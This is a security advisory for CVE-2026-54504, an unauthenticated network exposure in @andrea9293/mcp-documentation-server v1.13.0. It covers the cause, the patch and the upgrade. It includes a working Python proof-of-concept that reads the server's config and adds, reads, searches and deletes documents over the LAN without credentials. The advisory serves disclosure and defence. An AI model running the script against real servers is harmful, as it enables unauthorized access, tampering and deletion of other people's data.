CVE-2026-54504: @andrea9293/mcp-documentation-server Unauthenticated Network API Exposure
The built-in Web UI in mcp-documentation-server v1.13.0 binds its document-management API to all network interfaces without any authentication, letting anyone on the same LAN silently read, add, searc
The problem
In v1.13.0, `src/web-server.ts` calls `app.listen(PORT)` with no host argument. In Node.js/Express, omitting the host causes the server to bind to all interfaces (`0.0.0.0:3080`) rather than loopback only. The Web UI starts automatically unless `START_WEB_UI=false` is set.
All six REST endpoints (`GET /api/documents`, `GET /api/documents/:id`, `POST /api/documents`, `POST /api/search-all`, `DELETE /api/documents/:id`, `GET /api/config`) accept requests without any `Authorization` header. Any host reachable over LAN, VPN, Docker bridge, or shared Wi-Fi can perform full document-admin operations without credentials.
Proof of concept
A working proof-of-concept for CVE-2026-54504 in @andrea9293/mcp-documentation-server, with the exact payload below.
# Enumerate config, add a document, read it back, search, then delete -- no auth header sent
import json, sys, urllib.request
HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
BASE = f"http://{HOST}:3080"
def req(method, path, body=None):
data = json.dumps(body).encode() if body is not None else None
headers = {"Content-Type": "application/json"} if body is not None else {}
r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers)
with urllib.request.urlopen(r, timeout=10) as resp:
return resp.status, json.loads(resp.read().decode() or "null")
# 0. Leak config
print(req("GET", "/api/config"))
# 1. Insert attacker-controlled document
status, added = req("POST", "/api/documents", {
"title": "pwned",
"content": "ATTACKER_CONTROLLED",
"metadata": {"source": "unauth-poc"}
})
print(status, added)
doc_id = added["id"]
# 2. Read it back
print(req("GET", f"/api/documents/{doc_id}"))
# 3. Search across corpus
print(req("POST", "/api/search-all", {"query": "ATTACKER_CONTROLLED", "limit": 5}))
# 4. Delete
print(req("DELETE", f"/api/documents/{doc_id}"))
# Run against LAN IP: python3 poc.py 10.0.250.230The root cause is CWE-1188 (Insecure Default): `app.listen(PORT)` in Express/Node binds to `0.0.0.0` when the host argument is omitted, so every network interface is exposed at startup with no opt-in required. Combined with CWE-306 (Missing Authentication for Critical Function), the REST API accepts any request regardless of origin, making the full document corpus readable and writable by any peer on a routable local network.
The patch (commit `37159d4`) added a `WEB_HOST` environment variable that defaults to `127.0.0.1` and passes it as the second argument to `app.listen(PORT, HOST, ...)`. This restricts the socket to loopback by default. Users who need LAN access must now explicitly set `WEB_HOST=0.0.0.0`.
The fix
Upgrade to `@andrea9293/mcp-documentation-server` v1.13.1 (`npm install @andrea9293/mcp-documentation-server@1.13.1`). The server now binds to `127.0.0.1` by default. If LAN/container access is genuinely needed, set `WEB_HOST=0.0.0.0` explicitly and consider placing a reverse proxy with authentication in front of port 3080.
Related research
- critical · 109router: Unauthenticated CRUD on Provider API and Full API Key Leak
- highCVE-2026-49357CVE-2026-49357: line-desktop-mcp Unauthenticated MCP Tool Access via Streamable HTTP
- high · 7.5CVE-2026-50272CVE-2026-50272: dd-trace Unbounded W3C Baggage Extraction DoS
- criticalCVE-2026-54466CVE-2026-54466: websocket-driver Hixie Draft Length Header Integer Corruption